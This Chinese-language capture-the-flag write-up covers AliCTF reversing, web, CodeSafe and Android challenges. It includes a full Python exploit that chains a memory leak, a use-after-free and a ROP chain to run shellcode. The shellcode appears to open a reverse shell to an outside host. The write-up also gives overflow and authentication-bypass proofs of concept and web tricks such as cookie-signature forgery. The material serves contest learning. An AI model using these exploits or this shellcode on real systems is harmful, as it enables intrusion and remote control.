m3ng.t3.vm5lzkap.a11@alibaba-inc.com

Reverse-500

请分析Ch5.exe,该程序在reverse500.alictf.com上监听55555端口且存在多个漏洞。
尝试利用这些漏洞控制Ch5.exe去读取服务端C盘根目录下的succ.txt内容并提交。
目标操作系统win2008-sp2 / x32。
题目下载地址:点击下载

拉进IDA中分析函数流程.程序accept连接后开启一个线程,线程首先建立一个大小为1024字节的对象A,然后recv1280字节数据,进入sub_401620函数

img

在sub_401620函数中,程序对接受数据4-8字节进行判断

img

当v10为0x2222时call进sub_401270函数

img

在sub_401270函数中,程序首先向对象A+4的偏移地址复制0x80字节数据.然后从对象A+4的偏移开始读取又发送数据+12的数量的字节数发向客户端.而对象分配后

img

img

在对象的0x84,0x88,0x8c地址出存放了kernel32,ntdll和对象的地址.所以这个内存泄漏漏洞用来过ASLR.

当v10为0x3333时call进sub_401380函数

img

该函数中sub_401550函数把对象A给释放了,然后有按照接受数据指定大小分配了一个空间.UAF

当v10为0x5555时调用对象A中的某个虚函数

img

结合上步的UAF用来获得任意代码执行.首先根据泄漏的基址过ALSR和构造ROP过DEP.

Exp如下

#coding:utf-8

from socket import *
import struct

s = socket(AF_INET, SOCK_STREAM)

#s.connect(('192.168.206.133', 55555))
s.connect(('42.120.63.122', 55555))

#leak memory
offset = '\x0c\x00\x00\x00'
data_type = struct.pack('I', 0x2222)


malloc_size = struct.pack('I', 0x400 + 0xc + 4)

send_data = offset + data_type
send_data += '\x90'*(0x500 - len(send_data))

s.send(send_data)

recv_data = s.recv(1024)
kernel32_base = struct.unpack('I', recv_data[0x80:0x84])[0]
nt_base = struct.unpack('I', recv_data[0x84:0x88])[0]
object_add = struct.unpack('I', recv_data[0x88:0x8c])[0]
print 'address of kernel32,ntdll,object are', hex(kernel32_base), hex(nt_base), hex(object_add)


#UAF
offset = struct.pack('I', 0x100)
data_type = struct.pack('I', 0x3333)

nop = '\x90' * (0x100 - 8)

malloc_size = struct.pack('I', 0x400 + 0x100 + 4)

send_data = offset + data_type + nop+ malloc_size
send_data += struct.pack('I', object_add+4)
send_data += '\x90'*8

#virtualprotect
send_data += struct.pack('I', kernel32_base+0x1DC3)

#xchg eax,esp; pop; pop; pop; ret 4
send_data += struct.pack('I', nt_base + 0x7907)

new_object_offset = len(offset + data_type + nop+ malloc_size)
send_data += struct.pack('I', object_add + 0x164-new_object_offset)
send_data += struct.pack('I', object_add + 0x164-new_object_offset)
send_data += struct.pack('I', 0x1000)
send_data += '\x40\x00\x00\x00'
send_data += struct.pack('I', object_add)

send_data += '\x90'*(0x164 - len(send_data))

shellcode =  "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
shellcode += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
shellcode += "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
shellcode += "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
shellcode += "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
shellcode += "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
shellcode += "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
shellcode += "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
shellcode += "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
shellcode += "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
shellcode += "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
shellcode += "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
shellcode += "\x68\x17\x58\xe5\x74\x68\x02\x00\xfc\x15\x89\xe6\x6a\x10\x56"
shellcode += "\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
shellcode += "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
shellcode += "\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
shellcode += "\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
shellcode += "\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
shellcode += "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
shellcode += "\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

send_data += shellcode
send_data += '\x90'*(0x500 - len(send_data))



s.send(send_data)

print s.recv(1024)

#code excute
offset = '\x0c\x00\x00\x00'

data_type = struct.pack('I', 0x5555)

malloc_size = struct.pack('I', 0x400 + 0xc + 4)

send_data = offset + data_type
send_data += '\x90'*(0x500 - len(send_data))

s.send(send_data)

print s.recv(1024)

0x04 WebB

WEBB-100

登录进来以后
http://web100b.alictf.com/3ef067863a6db0a7fc218aceaee9366b.php

登陆之后抓包,可以看到hi xbb(熊宝宝?),然后Cookie有username,isadmin,修改都会出错(敢不敢按照程序来),Sign=df00ea56c4d2e709dbacf0eddf00ea56469b9e30

组合修改,Sign掐指一算40位,仔细一盯有重复,去掉前8位解码MD5为xbb0

然后构造admin1即可

img


WEBB-200

Casper写了一个安全的获取页面响应的接口给大家用,他真的安全吗?
http://web200b.alictf.com/5b03e4d1a8cefc5121e1c1c0dd9b1cdc.php

黑盒脑洞,试了很久没有相出所以然,以为是curl -i的各种解法,各种查资料得到这个

http://drops.wooyun.org/tips/750

taobao.com@xxx,终于有反应了..

img


WEBB-300

白帽子的秘密
http://web300b.alictf.com/b5688aa7c3f8387400a3449077f9bd65.php

开始感觉题目好简单 :) 抓拍到了好幸福

img

于是一晚上熬夜后收到了这个

img

瞬间凌乱了啊,开始搞题目,先是Flash,crossdomain.xml为*,试了CSRF的POC

img

这是赛后访问502,正常可以读到flag.php,傻傻以为这样就可以拿到Key了,提交进URL...查看日志根本没请求...心碎..

接着是分析whitehat图片,binwalk发现还藏了个rar,猜了半天脑洞原来密码是比赛网址,内容

e.g.: *.php?img=exp

题目是和xss一样,提交题目页面加img参数...

这个在分析d4.swf文件时有看到:

public dynamic class MainTimeline extends MovieClip {

        public var img:String;
        public var req:URLRequest;
        public var loader:Loader;

        public function MainTimeline(){
            addFrameScript(0, this.frame1);
        }
        public function completed(_arg1:Event):void{
            this.addChild(this.loader);
        }
        function frame1(){
            try {
                ExternalInterface.call("eval", "location.href='http://www.alictf.com/';");
            } catch(errObject:Error) {
                img = loaderInfo.parameters["img"];
                req = new URLRequest(img);
                loader = new Loader();
                loader.load(req);
                loader.contentLoaderInfo.addEventListener(Event.COMPLETE, completed);
            };
        }

    }

当时感觉img即使load进来也x不成,必须自己指定一个swf才行,反而想是img直接Reflect-X到Firefox...被Chrome Protect,思路还是不对.

最后发现居然有上传,可惜自己没扫目录的...可以上传flash图片文件,然后在img处调用flash文件执行代码读flag文件,进行CSRF.


WEBB-400

一串奇怪的数字?你能帮忙揭开谜底吗?
http://web400b.alictf.com/e708f572003bfc59728030f46fb71372.php

打开是个数字:2032687698

我忍住没加这个QQ号找他问flag...

手残加到url后直接请求下载到文件,是个管理员日志,大致是配置lnmp以及各种工具环境,最后有些目录信息,比如web400a有关的nidongde...最后没时间也没去做.


WEBB-500

好吃的饼干........ Casper吃了一块又一块........
hint:一定要给我么?绕过试试?别忘了看URL哦。
http://web500b.alictf.com/26b8f91a01158be64de4cd299cf16f53.php

又是脑洞题目...curl -i之后发现根本不需要提交cookie,

http://web500b.alictf.com/ee11cbb19052e40b07aac0ca060c23ee.php

说是可以执行命令的...可是一直没返回...读了下
http://web500b.alictf.com/js/user.js
想不出所以然,就忽略了...


0x05 CodeSafe

CodeSafe-100

在域名为 codesafe100.alictf.com 的32位主机的 30000 端口上开放了一个服务。
其源代码文件为 rpc_libevent_server.cpp。
在这个服务程序中存在1个安全漏洞。请通过阅读源代码来找到漏洞,并向该服务器发送请求尝试触发。
如果发送的请求能够触发漏洞,在服务器的响应数据中会给出一个32位的MD5值作为flag,示例如下:
Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0
注意:请求中的token字段为每位选手的认证哈希值(详见账号注册邮件中分配的user_token)。
每个合法的token仅有 5 次提交请求的机会,超过之后,该token的请求会被丢弃。

根据socket_read_callback函数知SafeCode系列协议为:
Token_len(1字节) + Token + funcid(1字节) + data_len(4字节) + data
SafeCode100有漏洞的函数为rpc_function_1:

img

mtl为unsigned short类型,而temp.tl和tl最大表示值为511和199

img

而511*199 = 101689 = 0x18D39
超出了unsigned short能表示的最大值.所以当temp.tl和tl足够大时,会发生整数溢出.

POC:

#coding:utf-8

from socket import *
import struct
import time

s = socket(AF_INET, SOCK_STREAM)

s.connect(('223.6.253.103', 30000))


token = 'bab1e617f537b121033058a5795e37e0'
len_token = '\x20'

f_id = '\x02'

data = '\x48\x48\x00\x00'
#data += '\xcc'*4
data += struct.pack('I', time.time())
data += '\x02\x00\x00\x00'
data += 'sdatsts-afu\x00\x00\x00\x00\x00'

url = 'http://alibaba.com/'
url += 'a'*(256-len(url))
len_url = len(url)

data += struct.pack('I', len_url)
data += url

len_data = len(data)

send_data = len_token + token + f_id + struct.pack('>I', len_data) + data

print send_data
s.send(send_data)
print s.recv(1024)

CodeSafe-200

在域名为 codesafe200.alictf.com 的32位主机的 30000 端口上开放了一个服务。
其源代码文件为 rpc_libevent_server.cpp。
在这个服务程序中存在1个安全漏洞。请通过阅读源代码来找到漏洞,并向该服务器发送请求尝试触发。
如果发送的请求能够触发漏洞,在服务器的响应数据中会给出一个32位的MD5值作为flag,示例如下:
Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0
注意:请求中的token字段为每位选手的认证哈希值(详见账号注册邮件中分配的user_token)。
每个合法的token仅有 4 次提交请求的机会,超过之后,该token的请求会被丢弃。
题目下载地址:点击下载

漏洞所在函数为rpc_function_2

img

buffer空间为512字节,传入的data数据最大长度为511字节

img

函数要求的输入格式为tag = value但是函数最后用sprintf把line(data)和tag和value都打印到只有512字节的buffer中,如果符合输入格式要求且剩余字节用空格填充会照成溢出.

POC:

#coding:utf-8

from socket import *
import struct

s = socket(AF_INET, SOCK_STREAM)

s.connect(('42.120.63.194', 30000))

token = 'bab1e617f537b121033058a5795e37e0'
len_token = '\x20'

f_id = '\x02'

data = '  ' + 'a'*60 + '=' + '1834567890123456'
data += ' '* (510 - len(data))
len_data = len(data)

send_data = len_token + token + f_id + struct.pack('>I', len_data) + data

print send_data

s.send(send_data)

print s.recv(1024)

CodeSafe-300

在域名为 codesafe300.alictf.com 的32位主机的 30000 端口上开放了一个服务。
其源代码文件为 rpc_libevent_server.cpp。
在这个服务程序中存在1个 缓冲区溢出 漏洞。请通过阅读源代码来找到漏洞,并向该服务器发送请求尝试触发。
如果发送的请求能够触发漏洞,在服务器的响应数据中会给出一个32位的MD5值作为flag,示例如下:
Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0
注意:请求中的token字段为每位选手的认证哈希值(详见账号注册邮件中分配的user_token)。
每个合法的token仅有 3 次提交请求的机会,超过之后,该token的请求会被丢弃。

漏洞出现在函数rpc_fuction_2中

img

p为请求URL的绝对路径

r分配被了256字节空间

URL的大小也为256

img

一个符合函数要求格式的URL如:

http:// alibaba.com/xxxx

其中"http:// alibaba.com/"为20个字节,而/temporary folder/2014-08/有26个字节.所以如果提供一个256字节的URL,绝对路径有236字节,被sprintf打印后有262字节,就照成了溢出.

POC:

#coding:utf-8

from socket import *
import struct
import time

s = socket(AF_INET, SOCK_STREAM)

s.connect(('223.6.253.103', 30000))

#token = 'bab1e617f537b121033058a5795e37e0'
token = 'afc0f1402e0439fb57e87b45ab456b37'
len_token = '\x20'

f_id = '\x02'

data = '\x48\x48\x00\x00'
#data += '\xcc'*4
data += struct.pack('I', time.time())
data += '\x02\x00\x00\x00'
data += 'sdatsts-afu\x00\x00\x00\x00\x00'

url = 'http://alibaba.com/'
url += 'a'*(256-len(url))
len_url = len(url)

data += struct.pack('I', len_url)
data += url


len_data = len(data)

send_data = len_token + token + f_id + struct.pack('>I', len_data) + data



print send_data

s.send(send_data)

print s.recv(1024)

CodeSafe-400

在域名为 codesafe400.alictf.com 的32位主机的 30000 端口上开放了一个服务。
其源代码文件为 rpc_libevent_server.cpp。
在这个服务程序中存在1个安全漏洞。请通过阅读源代码来找到漏洞,并向该服务器发送请求尝试触发。
如果发送的请求能够触发漏洞,在服务器的响应数据中会给出一个32位的MD5值作为flag,示例如下:
Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0
注意:请求中的token字段为每位选手的认证哈希值(详见账号注册邮件中分配的user_token)。
每个合法的token仅有 2 次提交请求的机会,超过之后,该token的请求会被丢弃。

这个不得不吐槽下,缩进简直太美

只要程序执行到system函数就会返回key

img

但是这个地方坑了我好长时间...一直以没看出来=0=

img

看出来之后就好做了

img

Guest密码判断后又调用了一次function1函数,用来除掉空格.而szUser又temp.user的前63个字节复制来.

img

所以只需要admin+64*'\x20'+a这样的字符串即可饶过

POC:

#include<stdio.h>
#include<string.h>
#include<ctype.h>
#include<malloc.h>
#include<time.h>

void function3(char m[],char k[],char r[])
{
   int i,j,s=0;
   j=strlen(k);
   for(i=0;m[i];i++)
      m[i]=tolower(m[i]);
   for(i=0;m[i];i++)
      if(isalpha(m[i]))
      {
           r[i]=(m[i]-'a'+k[s%j]-'a')%26+'a';
           s++;
      }
      else
           r[i]=m[i];
   r[i]=0;
   for(i=0;r[i];i++)
      r[i]=toupper(r[i]);
}

int main()
{
    char pass[64] = {0}, value[64];

    memcpy(pass, "aiwtnbx", 7);
    function3(pass, "admin", value);

    printf("%s", value);

        if(strcmp(value,"ALIBABA") == 0)
            printf("%s", "True");
        else
           printf("%s", "false");
    return 0;
}

0x06 EvalAPK

EvilAPK-100

APK在执行过程中使用了一个文件作为输入,请问该文件的名称是什么?(不需要路径)
题目下载地址:点击下载

FirstBlood.三人不熟悉APK,也没有相应的分析环境,本要做Web100,看了半天(比赛前期地址泄漏了)没解决掉,看到APK100提交的很欢乐,就做了,没想到String一下出来了.

img

提交inputfile解决


EvilAPK-200

请分析static_analysis.apk安装包。
分析出在静态代码中有多少个地方调用了sendSMS方法(不包括该方法本身且flag为数字)
题目下载地址:点击下载

用apktool d xx.apk反编译后,来find命令

img

如上图是在Kali下History...


EvilAPK-300

该破解程序jscrack主界面包含两个控件:
1)URL输入框
2)进入”按钮“
要求自己构造一个网页,并把网页对应的URL输入到URL输入框控件,然后,点击”进入”按钮,jscrack会打开webview浏览你的网页,如果jscrack能弹出一个Toast,就证明已经成功破解,同时Toast显示的内容就是这个题目的flag。
题目下载地址:点击下载

看题意与WEBView漏洞有关,就去搜索相关资料

得到一个测试接口的POC

http://drops.wooyun.org/webview.html

img

有了存在问题的接口SmokeyBear,就继续科普什么是Toast,怎么输出toast以及接口怎么利用,模仿wooyun的检测页面,最后试了用接口.showToast()真的出来了...参考如下文章:

img

放到server上测试如下页面

img

用jscrack访问,得到flag

其他APK题目队伍没人熟悉.不得不放弃...感谢APK出题者前面三关都不难...

0x07 AfterAll

Thx AliCTF.

::L Team::

From Z1ng'Blog